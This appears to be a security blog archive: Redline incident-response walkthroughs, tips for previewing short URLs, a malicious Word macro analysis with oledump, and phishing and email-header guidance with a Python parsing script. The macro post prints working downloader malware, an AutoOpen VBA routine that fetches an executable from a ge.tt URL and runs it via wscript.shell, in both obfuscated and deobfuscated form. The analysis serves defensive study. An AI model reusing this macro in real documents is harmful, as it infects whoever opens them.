Monday 12 November 2018

Redline Analysis : Part2

Suspicious logon attempts from different admin accounts to your highly secured part of a network.
One of the servers used for unsuccessful logon attempts contained suspicious executable which after short initial analysis seems to be well known password dumping tool. Insider? APT? Management is highly interested, pressure is growing. Someone may think: ‘Yep just another day of an Incident Handler’.

IR activities can be divided into following steps

Analysis

Collect data (locally or remotely, manually or automatically).
Analyze data.
Build timelines and recreate what happened.

Scoping

Create indicators of compromise (IOC) based on TTP (tools, tactics, procedures).
Deploy IOC (create rules across monitoring platforms, sweep estate).
Monitor estate for new suspicious activity.

Redline allows analyst to build endpoint collectors. In our scenario we will use Comprehensive and IOC Collectors. Official manual states that:

* “Comprehensive Collector configures scripts to gather most of the data that Redline collects and
 analyzes. Use this type of Redline Collector if you intend to do a full analysis or  if you have only one opportunity to collect data from a computer.”

* “IOC Search Collector. The IOC Search Collector collects data that matches selected Indicators of Compromise (IOCs). Use this Redline Collector type when you are looking only for IOC hits and not any other potential compromises. By default, it filters out any data that does not match an IOC, but you can opt to collect additional data.”

Creating a Comprehensive Collector : Select the type of collector

Click on Edit your script to review what data will be collected. Tick a box if you want to acquire memory. General recommendation - acquire memory whenever it is possible (legal, bandwidth, HR approvals etc.). Memory forensics is an invaluable source of information and essential part of every investigation. 

At the bottom of the window select the name of the folder where collector will be stored and then press OK.

Creating an IOC Collector : Select IOC Search Collector


 Select a folder containing indicators of compromise (see how to create IOC):

Redline will parse content of the folder and display names of all IOCs:


Select IOCs that should be included in the collector and than follow the same steps for creating a Comprehensive Collector. 

Scenario

Network X is an isolated, highly secured and monitored part of the network where Nation’s Secrets are stored. Team responsible for monitoring the infrastructure reports suspicious activity on one of the servers WIN-UC6FN0KAUGQ (10.10.100.100) including failed authentication attempts, originating from a host within the same geographic location as network X. The suspected machine’s is WIN-569IC7NK834 (10.10.100.50). IR team was called to investigate. Reported time of the suspicious activity: 2015-01-28T19:30:24Z.

Data Collection and Analysis

Every investigation is all about getting as much context as possible. This gives handlers better understanding of what happened and in turn it influences decision what to do next. At this point the only available information are few suspicious authentication attempts. Data collected by Redline’s Comprehensive Collector would be the best option to start our initial investigation.

Collection steps include

1. Incident Handler creates and sends collector to Administrator responsible for
     executing it on suspicious machine.
2. Administrator logs to box with temporary created account, and executes collector.
3. Archived results are sent to Incident Handler in a secure, predefined way (e.g. SFTP server).
4. Incident Handler downloads the file and start the analysis in a preconfigured Virtual Machine.

Analysis

Where do we start? Each investigation is different and each handler has its own style. For most of the investigation one of the following strategies should yield satisfactory results:

* Timeline analysis (based on the time of suspicious activity)
* Data analysis (based on information about suspicious activity)

Timeline analysis

This one is fairly simple the only requirement is to have approximate time of suspicious activity.

1. Build a timeline based on all collected data.
2. Set up a timeframe e.g. 30 minutes.
3. Review events that occurred within defined timeframe before and after the suspicious activity.
4. Look for anything that is out of ordinary.
5. Follow up on all suspicious events with additional investigation.
6. If nothing suspicious was found start again at step 2 and extend the timeframe.

Let’s test this approach in on our scenario.

Collected data can be loaded in Redline by double clicking the .mans file and selecting the type of investigation:
                                                     

On the Analysis data panel select Timeline:



Redline will build the timeline based on all collected events. Next step is to define a TimeWrinkle which is a basic filter that will show only entries within defined time frame.


One of the Windows Event Log entries close to the time of suspicious activity correlates with the usage of explicit logon credentials by user PMac against the target machine.


Let’s see what happened before user PMac tried to authenticate.



Processes cmd.exe and conhost.exe were spawned by the user PMac two minutes before the explicit logon event. It might be worth checking memory ranges for conhost.exe as this process usually 
holds history of user’s activity in a Windows command line (this is true for Windows 7/2008R2 or higher, for earlier versions you should focus on csrss.exe memory ranges). 
Dumping memory for given process with Redline can be easily achieved. Double clicking on conhost.exe displays the process information page. Select MRI Report and hit 
Acquire Process Address Space (assuming collector acquired memory). All memory ranges for given process will be extracted in the background. Let’s not waste time and continue with the timeline analysis.


There was nothing interesting in the timeline until we stumbled across the following entry: suspicious m64.exe file in a root directory.


Next step would be to get the file and perform initial analysis. Unfortunately Redline collects information about the metadata of the files within filesystem. 
File would have to be extracted manually, for instance by the same administrator that run the collector (sometimes it is possible to extract files from the memory image using e.g Volatility).

Now it is time to take a closer look at what happened in our timeline after the explicit logon attempt occurred.

Initial report mentioned few suspicious logon attempts. Using search feature we can look for other explicit credentials events:


Apparently user PMac tried to use Rob’s account


Mike’s account


and Bob’s account against the target server:


Interestingly enough the time differences between the logons were very short and suggest more of an enumeration activity.

Let’s get rid of the filter and examine closely all related entries for each explicit credentials event log entry. Nothing interesting for the first two logons, however entries surrounding third explicit logon give us more details. Registry changes suggest some sort of network activity, which might be related to accessing a network share on our protected target server by user Bob-ADC. This doesn’t look good at all!



Let’s summarize the findings of our analysis so far:

* The file m64.exe was present in the root directory on WIN-569IC7NK834 (10.10.100.50) 
    before suspicious logon started.
* Followed by authentication attempts using four different sets of credentials against 
    protected target server WIN-UC6FN0KAUGQ (10.10.100.100).
* Evidence suggesting mounting a remote network share (root directory) on the 
   protected server WIN-UC6FN0KAUGQ (10.10.100.100) was recorded in the 
   Windows registry on WIN-569IC7NK834 (10.10.100.50).

There is still plenty of stuff to investigate further. What about the conhost.exe memory ranges? Redline finished dumping the files to disk after few minutes so it’s time to review memory ranges with good old strings.exe from Sysinternals.

After endless scrolling through strange hex, numbers and letters eventually a needle in a haystack was found! Strings inside the conhost.exe process memory revealed commands executed on the host WIN-569IC7NK834 (10.10.100.50) by user PMac (everyone loves memory forensics!):


So what exactly happened here?

Someone tried to view the available network resources with the net view command and then failed to mount a remote share using different accounts (PMac, Rob-ADC, Mike-ADC). 
The last attempt using Bob-ADC credentials successfully mounted network share. After that the attacker copied suspicious file m64.exe to remote location. 
If the file was not suspicious enough when we’ve looked at it for the first time, now it would be really good to speed up our malware analysts to get as much information as possible regarding the file.

Creating an IOC

Building IOCs is based on the Boolean logic and keywords. For instance we can use Event Log ID 4648 to look for any existence of explicit credentials in Event log:


Let’s assume that malware analyst came back with the results: m64.exe is recompiled version of Mimikatz - a well known password dumping tool. For instance an IOC can be built based on the name for both 32 and 64 bit platforms, extension and MD5.


Hunting with IOCs

In real case scenario this would be a good time to gather all the findings from the initial investigation and sweep across estate for more machines that indicate similar suspicious activity. 
It would be a good starting point to extract all activity of compromised accounts from the Domain Controller and run IOC collectors on all machines where any of those accounts were recorded. 
It might be worth considering to add collection of all event logs and/or memory to your collector.

When analyzing the data collected by the IOC Collector open the analysis file and select:




The report will be generated in the background. When it is ready click the IOC Report on the bottom left side and review your IOC report.


You found more indicators of compromise on other machines? Cool now you can iterate through our process with the new findings. 
Repeat the same process over and over again in order to understand what exactly happened. Eventually this will allow you to get rid of the bad guys, sharpen your tools and be more 
prepared for another round!


































Friday 9 November 2018

RedLine Analysis : File Download / Execution

We’ll just re-image the box then” is the phrase I often used early in my IT career. That was standing operating procedure for a compromised machine. We would receive a SOC alert. We would go kick the user off the box and have it re-imaged.

It’s a free tool that allows me to do an investigation on potentially compromised boxes. With the tool, we started getting a better understanding of why compromises occurred. That information allowed us to make better decisions about defenses in place.

Download and install Redline. Download the user guide as well. The user guide is how I got started using the tool. It will explain the ins and the outs in much more depth.

Launch Redline and, click on the “Create a Comprehensive Collector” link. This will create the collection package. Check the box for “Acquire Memory Image.” A lot of malicious activities happen in memory. Collecting what’s in memory is vital.* Next, decide where the collection package will reside on the computer. Click OK to create the package.

*When responding to an incident, disconnect the computer from the network or contain it in a separate VLAN. Avoid rebooting or shutting down. A reboot or shutdown will wipe whatever is in memory.



Once the data is collected open the .mans file. Redline will now load the session. After the session opens, click on the option to investigate based on an external source. There are other options for starting an investigation. Refer to the user guide for explanations on these. A Timeline will appear with all events from registry changes, browsing history, event logs. A Timeline Configuration pane is available for refining the timeline. Computers create a ton of events, so it can take some time to load everything. Which is why it's a good idea to define a time period. Go to the Time Wrinkle tab and set a number of minutes before and after a certain time period. If the information available on the incident is vague, a wider time period may be needed. For more accurate time a smaller time period can be used.

For the most part, when I received a SOC alert the information I received was exact down to the second. I would use only two minutes before and after a specific time. When I didn’t have an exact time, I would go as high as 15 mins before and after. One thing to note is that the time on events is in GMT time. A conversion to GMT is needed to match the time from the incident to the computer (+4 or +5 hours).For the most part, when I received a SOC alert the information I received was exact down to the second. I would use only two minutes before and after a specific time. When I didn’t have an exact time, I would go as high as 15 mins before and after. One thing to note is that the time on events is in GMT time. A conversion to GMT is needed to match the time from the incident to the computer (+4 or +5 hours).


Now go through the timeline and look for anything associated with the incident. Use Google to research any suspicious events. Say several users had clicked a phishing email. A block box had popped up on their machine and then went away. We ran Redline on the machines and found that an .exe had been dropped in the Windows temp folder. In other instances I would see the anti-virus or EMET step in and block the attack. Look for anything suspicious. If unsure Google it.Now go through the timeline and look for anything associated with the incident. Use Google to research any suspicious events. One incident I responded to, several users had clicked a phishing email. A block box had popped up on their machine and then went away. We ran Redline on the machines and found that an .exe had been dropped in the Windows temp folder. In other instances I would see the anti-virus or EMET step in and block the attack. Look for anything suspicious. If unsure Google it.

Using the timeline function from Redline is very easy and powerful. It lines up any artifacts collected using several timestamps that are selectable.
















Conclusion :-

Mandiant's Redline software is free to download and use. I find it amazing how much details can be found by analyzing a host with Redline and how easy it is to create a timeline for analysis.

Redline can combine disk and memory artifacts in a timeline, showing processes created and ports opened in time relation to files and registry keys created.






























Saturday 5 August 2017

How to analyse Tiny/shortened URL's

1. Preview a TinyURL :  https://tinyurl.com/ 

Don't want to be instantly redirected to a TinyURL and instead want to see where it's going before going to the site? This can we done by using preview feature.

https://tinyurl.com/y7ww76hq

The preview feature requires cookies to be enabled in your web browser.

If you are getting a tiny URL like this you can view the original url before it redirecting to a domain using "preview"

https://preview.tinyurl.com/y7ww76hq

2. Google Short URL: https://goo.gl/   

   If this is for Google URL shortner use url.info at the end of the link

  If you got a link like http://goo.gl/NSXiqF
 
  then you can view the details by typing ".info" at the end of the link.
 
  So here you will get the original url details by typing http://goo.gl/NSXiqF.info in the browser.
 
  To check analytics (clicks, browser, location, referrers) on a Goo.gl short URL, simply type the short URL into the address field in your browser and enter .info after it.

  So if your short URL is: http://goo.gl/2L1d, then type http://goo.gl/2L1d.info into the field
 
  https://support.google.com/faqs/answer/190768?hl=en
 
3. Bitly Short URL: bitly.com  

   bit.ly is the default URL shortner for Twitter.

    1.One way to know real time traffic, referrer data, location and all number of
clicks for shortened links is by signing up for a bit.ly account, once bit.ly account is created,
user can track stats for all bit.ly links.

Or

2. you can simply add a “+” to the end of the URL. And you can get the full details about the short

   URL.  http://bit.ly/2v5XVcP
 
      http://bit.ly/2v5XVcP+

Sunday 4 June 2017

Analyzing Microsoft Office Files

Use any of the below tools for analyzing office documents.

oledump.py / officeparser.py / olevba.py / pyOLEScanner.py

1. Find malicious code
2. Extract code / Deobfuscate
3. Analyze code
4. Extract host and network indicators

 Microsoft Office Binary File Format Notes
-------- -------- -------- ------- --------- --------
Structured Storage (OLE SS) defines a file system inside the binary Microsoft Office file.
Data can be “storage” (folder) and “stream” (file).
Excel stores data inside the “workbook” stream.
PowerPoint stores data inside the “PowerPoint Document” stream.
Word stores data inside various streams.

 Tools for Analyzing Microsoft Office Files
----------- ---------- ---------- ------------ -------
"OfficeMalScanner" locates shellcode and VBA macros from MS Office (DOC, XLS, and PPT) files.

"MalHost-Setup" extracts shellcode from a given offset in an MS Office file and embeds it an EXE file for further analysis. (Part of OfficeMalScanner).

"Offvis" shows raw contents and structure of an MS Office file, and identifies some common exploits.

"Hachoir-urwid" can navigate through the structure of binary Office files and view stream contents.
"Office Binary Translator" converts DOC, PPT, and XLS files into Open XML files (includes BiffView tool).

"pyOLEScanner.py" can examine and decode some aspects of malicious binary Office files.
FileHex (not free) and "FileInsight" hex editors can parse and edit OLE structures.

I.

 1. Start analyzing file with # file document

 # file 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin

Output provides a lot of useful information including:

39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin: Composite Document File V2 Document (File format: CDF V2 Document)
Little Endian
Os: Windows,
Version 6.1,
Code page: 1252,
Author: Admin,
Name of Creating Application: Microsoft Office Word,
Total Editing Time: 01:47:00, Create Time/Date: Tue Jan 13 00:32:00 2015,
                                 Last Saved Time/Date: Thu May  7 04:22:00 2015,
Number of Pages: 1, Number of Words: 21, Number of Characters: 122, Security: 0,
                             Template: Normal, Last Saved By: Raz0r, Revision Number: 198,

 2. Next we will examine file with oledump.py 
   
oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.
 
Many applications use this file format, the best known is MS Office. .doc, .xls, .ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).  

oledump has an embedded man page: run oledump.py -m to view it.

oledump.py 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      9602 '1Table'
  5:    137803 'Data'
  6:       539 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: M    5258 'Macros/VBA/NewMacros'
  9: m     938 'Macros/VBA/ThisDocument'
 10:      3483 'Macros/VBA/_VBA_PROJECT'
 11:       578 'Macros/VBA/dir'
 12:      4096 'WordDocument'
remnux@remnux:~/Desktop/Malicious-files/doc$

[(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)]

  One of the cool things about oledump.py is its ability to mark streams that contain VBA code.
 
In the above output we can see two streams called NewMacros and ThisDocument. Letters M and m indicate that VBA code is present. Lowercase m means VBA contains only attributes statements (less interesting):
 
$ oledump.py -s9 -v 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
remnux@remnux:~/Desktop/Malicious-files/doc$  

Given stream can be viewed by adding -s with an object number. As we know we are dealing with the VBA code the -v option will instruct oledump.py to decompress VBA code and make it easy to read.

Let’s dump it for later comparison with other tools.
$ oledump.py -s9 -v 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin > attribute_code

 Now let’s move to the stream marked with capital M, this is usually where analysts find juicy stuff:

$ oledump.py -s8 -v 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin
Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal JhjBjhGJHBfgjhffGggfGVgfVFGuHgHfGcV As Long, ByVal GyghGGBtgnfgdfGDFRGhojoJGBJFGhjFghJfHgh As String, ByVal tGtgfRDEVDFVUJUjhJGHJkujkuhJihuhBfgBF As String, ByVal lkaaJQQSxJfdLyE As Long, ByVal hujhBjhBfvcVcVdsswwsDswdFfgHUJFGHUJOIJJHhHjHGYYFtBVcfGGdGgDFGHuDfghuhDGhjjk As Long) As Long
#Else
    Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
     (ByVal gBfGFGHFGhRfghrtjgHJfGHJFGHjTyhjGFGVRFTRftyFtyFghDFvtRTRGfGDTR As Long, ByVal ltnbTaRjJOa6JYn As String, ByVal liCRZKNefyicowI As String, ByVal lGONydFEvaD5IuX As Long, ByVal lmRYfcuLs5uEk2Z As Long) As Long
#End If
 
Sub AutoOpen()
    Dim loyagdbd As String
    Dim hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg As String
    hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg = CurDir()
    Dim NewPath As String
    NewPath = Replace(hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg, "\Desktop", "\AppData\Roaming")
    NewPath = "C:\Users\Public\Documents"
    Dim CheckNumbers As String
    CheckNumbers = ""
    Dim hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg As String
    Dim NewString As String
    NewString = "Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB"
    Dim LotsofFuckingStringinallinOne As String
    LotsofFuckingStringinallinOne = "protection \ vulnerable worksheet wsc footage s rasberry student"
    Dim AnotherShitisHereSaysthis As String
    AnotherShitisHereSaysthis = "SbieCtrl encryption deauthentication hell ript. intrusion wireshark"
    Dim FinalWord As String
    FinalWord = CheckNumbers + Split(LotsofFuckingStringinallinOne)(4) + CheckNumbers + Split(AnotherShitisHereSaysthis)(4)
    hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg = Split(AnotherShitisHereSaysthis)(0) & Split(NewString)(3)
    iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv = "http://ge" & "." & "tt/api/1/files/2gmBurF2/0/blob?download" + CheckNumbers
    Dim IsProgramRegistered As String: IsProgramRegistered = FinalWord & Split(LotsofFuckingStringinallinOne)(6)
    ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV = CheckNumbers + CheckNumbers + CheckNumbers + "" + CheckNumbers + CheckNumbers
    lkFjuexVzhTjcrT = ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV & iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv & ""
    iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG = lkFjuexVzhTjcrT
    OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb = NewPath & Split(LotsofFuckingStringinallinOne)(1) & hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg + CheckNumbers
    lRoosrSIPgRZZm4 = OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb
    lFA9cYQDsQOBIWU = ProudtoBecomeaNepaliReverseEngineer(0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG & CheckNumbers & CheckNumbers & CheckNumbers, CheckNumbers & CheckNumbers & CheckNumbers & OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb & CheckNumbers & CheckNumbers, 0, 0)
     
   If Dir(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb) <> "" Then
   Dim oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh As Object
   Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh = CreateObject(IsProgramRegistered & Split(AnotherShitisHereSaysthis)(3))
   Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh = oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh.exec(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb)
   End If
End Sub

 It is safe to say we found our malicious code! We will dump the code for further analysis.

$ oledump.py -s8 -v 39670aa4e8b209ccb70f1ea19bdf94031f497c98a553749b0335d9c779982854.bin > malicious-code

Before we will jump into deobfuscation and code analysis check how above tools cope with the same malicious file.
[ in software development, obfuscation is the deliberate act of creating source or machine code that is difficult for humans to understand. Like obfuscation in natural language, it may use needlessly roundabout expressions to compose statements.”]

https://www.upwork.com/hiring/development/understanding-obfuscated-code-deobfuscate-php-javascript/


II.

1. Deobfuscation / Code deobfuscation

Unfortunately neither of the tools is able to deobfuscate the code it would be too easy! So far we researched different methods of finding and extracting malicious code from OLE documents. It is high time to deobfuscate this,

There is never a “one fits all” solution to deobfuscate code. Good thing to start with is to clean up the code from randomly generated variable names. For this just open the code in any text editor and use “find and replace” feature to replace randomly named variables into something more readable.

I like to rename variables so they start with capital letter informing me about the variable type, for instance:

S_var1 means this variable is of a String type.

This is how code looks like after initial clean up:

  Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal L_var1 As Long, ByVal S_var1 As String, ByVal S_var2 As String, ByVal L_var2 As Long, ByVal L_var3 As Long) As Long
#Else
    Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
     (ByVal L_var4 As Long, ByVal S_var3 As String, ByVal S_var4 As String, ByVal L_var5 As Long, ByVal L_var6 As Long) As Long
#End If

Sub AutoOpen()
    Dim S_var5 As String
    Dim S_var6 As String
    S_var6 = CurDir()
    Dim NewPath As String
    NewPath = Replace(S_var6, "\Desktop", "\AppData\Roaming")
    NewPath = "C:\Users\Public\Documents"
    Dim CheckNumbers As String
    CheckNumbers = ""
    Dim S_var7 As String
    Dim NewString As String
    NewString = "Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB"
    Dim LotsofFuckingStringinallinOne As String
    LotsofFuckingStringinallinOne = "protection \ vulnerable worksheet wsc footage s rasberry student"
    Dim AnotherShitisHereSaysthis As String
    AnotherShitisHereSaysthis = "SbieCtrl encryption deauthentication hell ript. intrusion wireshark"
    Dim FinalWord As String
    FinalWord = CheckNumbers + Split(LotsofFuckingStringinallinOne)(4) + CheckNumbers + Split(AnotherShitisHereSaysthis)(4)
    S_var7 = Split(AnotherShitisHereSaysthis)(0) & Split(NewString)(3)
    S_var8 = "http://ge" & "." & "tt/api/1/files/2gmBurF2/0/blob?download" + CheckNumbers
    Dim IsProgramRegistered As String: IsProgramRegistered = FinalWord & Split(LotsofFuckingStringinallinOne)(6)
    S_var9 = CheckNumbers + CheckNumbers + CheckNumbers + "" + CheckNumbers + CheckNumbers
    S_var10 = S_var9 & S_var8 & ""
    S_var11 = S_var10
    S_var12 = NewPath & Split(LotsofFuckingStringinallinOne)(1) & S_var7 + CheckNumbers
    S_var13 = S_var12
    S_var14 = ProudtoBecomeaNepaliReverseEngineer(0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + S_var11 & CheckNumbers & CheckNumbers & CheckNumbers, CheckNumbers & CheckNumbers & CheckNumbers & S_var12 & CheckNumbers & CheckNumbers, 0, 0)

   If Dir(S_var12) <> "" Then
   Dim O_var1 As Object
   Set O_var1 = CreateObject(IsProgramRegistered & Split(AnotherShitisHereSaysthis)(3))
   Set O_var1 = O_var1.exec(S_var12)
   End If
End Sub

  After a few operations code becomes much more readable:-
 
  Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal L_var1 As Long, ByVal S_var1 As String, ByVal S_var2 As String, ByVal L_var2 As Long, ByVal L_var3 As Long) As Long
#Else
    Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
     (ByVal L_var4 As Long, ByVal S_var3 As String, ByVal S_var4 As String, ByVal L_var5 As Long, ByVal L_var6 As Long) As Long
#End If

Sub AutoOpen()
    Dim S_var5 As String
    Dim S_var6 As String
    S_var6 = CurDir()
    Dim NewPath As String
    NewPath = Replace(S_var6, "\Desktop", "\AppData\Roaming")
    NewPath = "C:\Users\Public\Documents"
    Dim CheckNumbers As String
    CheckNumbers = ""
    Dim S_var7 As String
    Dim NewString As String
    NewString = "Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB"
    Dim LotsofFuckingStringinallinOne As String
    LotsofFuckingStringinallinOne = "protection \ vulnerable worksheet wsc footage s rasberry student"
    Dim AnotherShitisHereSaysthis As String
    AnotherShitisHereSaysthis = "SbieCtrl encryption deauthentication hell ript. intrusion wireshark"
    Dim FinalWord As String
    FinalWord = "wscript."
    S_var7 = "SbieCtrl".exe"
    S_var8 = "http://ge.tt/api/1/files/2gmBurF2/0/blob?download"
    Dim IsProgramRegistered As String: IsProgramRegistered = "wscripts"
    S_var9 = ""
    S_var10 = "http://ge.tt/api/1/files/2gmBurF2/0/blob?download"
    S_var11 = "http://ge.tt/api/1/files/2gmBurF2/0/blob?download"
    S_var12 = "C:\Users\Public\Documents\SbieCtrl.exe"
    S_var13 = "C:\Users\Public\Documents\SbieCtrl.exe"
    S_var14 = ProudtoBecomeaNepaliReverseEngineer(0,"http://ge.tt/api/1/files/2gmBurF2/0/blob?download","C:\Users\Public\Documents\SbieCtrl.exe", 0, 0)
     
   If Dir(S_var12) <> "" Then
   Dim O_var1 As Object
   Set O_var1 = CreateObject("wscript.shell")
   Set O_var1 = O_var1.exec("C:\Users\Public\Documents\SbieCtrl.exe")
   End If
End Sub

Code analysis summary:

AutoOpen() will be executed after the document is opened.

ProudtoBecomeNepaliReverseEngineer is just an alias to URLDownloadToFile()

URLDownloadToFile() accepts five parameters, including URL address
     http://ge.tt/api/1/files/2gmBurF2/0/blob?download and a file name C:\Users\Public\Documents\SbieCtrl.exe.

Both information serve as a network and host indicators that might be used to check for successful compromise.

Spam and Phishing Analysis

         Email Header Analysis

X-Originating-IP: [Ip addres from where this mail is coming from]
 Here if the mail is passing through different mail server, them we have different X-Originating IP's in the header. But first one in the list is from where it is originated and passed through other mail server's.

Date: This shows the date and time the email message was composed.

From: This displays who the message is from, however, this can be easily forged and can be the least reliable.

Reply-To: The email address for return mail.

To: This shows to whom the message was addressed, but may not contain the recipient's address.

Subject: This is what the sender placed as a topic of the email content.

X-Spam-Flag: YES ----- It is flagged as spam and will go to spam folder, some time
                                             it may be flag as Phish etc etc.

X-SpamInfo: spam detected heuristically.

Return-path : Some times we can see different return path address instead of sender.  The email address for return mail. This is the same as "Reply-To:".

Here if sender_mail_id(From:) is spoofed, then From: and Reply-To: are different.It has to be same if it is genuine.

Here From: field they can spoof, so when you are checking check for Reply-To: field so we can know to whom mail will go if we reply.

Message-ID: we can search in our email protecting tool to how many user's this particular mail is delivered.

Envelope-To : This header shows that this email was delivered to the mailbox of a subscriber whose email address is user@example.com.

Delivery Date : This shows the date and time at which the email was received by your (mt) service or email client.

Received : The received is the most important part of the email header and is usually the most reliable. They form a list of all the servers/computers through which the message traveled in order to reach you. The received lines are best read from bottom to top. That is, the first "Received:" line is your own system or mail server. The last "Received:" line is where the mail originated. Each mail system has their own style of "Received:" line. A "Received:" line typically identifies the machine that received the mail and the machine from which the mail was received.

If there is any links in the mail it will show in header separately and we can check the url reputation in VT, urlquery. In header original URL it will show. But in mail it may be different URL. (This may be depend how you / email security solution providers configure your mail service).

Check this script for easy analysis of above details from an email header,
   http://ctechz.blogspot.in/2017/06/python-script-for-email-header-analysis.html

            How you can check against Spam and Phishing attacks

Email AddressConfirm the sender's e-mail address
                           •Do you know the person or entity?
                           •Are there any misspellings or unusual domains in the address
Links:  Confirm the links are to reputable or known websites
                •Is it recognizable—not a random IP address?​
                •Does it include "https"—indicating it’s a secure site?
Even if the link pointing towards a https:// url then also check to whome that certificate is issued. Because Authority will not issue same certificate to different users. So check for certificate abuse.

            https://textslashplain.com/2017/01/16/certified-malice/

Attachments:  Think carefully about opening an attachment from an unknown sender. Is the attachment safe to open? If you open an attachment with macros (for example, file extensions ending with “m”), your device may be infected with a virus or malware, which can compromise sensitive information.

ContentClosely review the content
       •Does it include unusual requests for sensitive information or unrealistic offers?
       •Does it have spelling and grammatical errors?​
       •Does it include inconsistent formatting and images?​
       •Does the message instruct you to break protocol or follow a different process 
           or procedure than you are used to?

Email Header Analysis:  
        https://ctechz.blogspot.in/2017/06/python-script-for-email-header-analysis.html

Report PhishingUse the Report Phishing button to report suspicious e-mails to 
 respective team. Or Send the mail to the respective team as an attachment.

Friday 2 June 2017

Python Script for Email Header Analysis

# Python Script for Analyzing Email Headers, which helps to identify spam and
    spoofed mails
# Save the script as emailanalysis.py
# Copy Mail header in a file and give it as this script's input

import re
def matchre(data,*args):
    for regstr in args:
        matchObj = re.search( regstr+'.*', data, re.M|re.I)
        if matchObj:
            print matchObj.group(0).lstrip().rstrip()
        else:
            print "No ",regstr,"found"
print
print("Email Header Analysis by Jeffin")
print
filename= raw_input("Enter path for email header file: ");
print
fo = open(filename, "r") #fo=filehandle
data=fo.read()

matchre(data,"From:")
print
matchre(data,"Subject:")
print
matchre(data,"Date:")
print
matchre(data,"To:")
print
#matchre(data,"delivered-to:")
#print

matchre(data,"X-Originating-IP:")
print
matchre(data,"Reply-To:")
print
matchre(data,"Return-path:")
print
matchre(data,"X-Spam-Flag:")
print
matchre(data,"MIME-version:")
print
matchre(data,"Message-ID:")
print

fo.close()

#Envelope-To: user@example.com
#Delivery-Date:
#X-Spam-Status:


Thursday 25 May 2017

Malware Analysis + RemNux


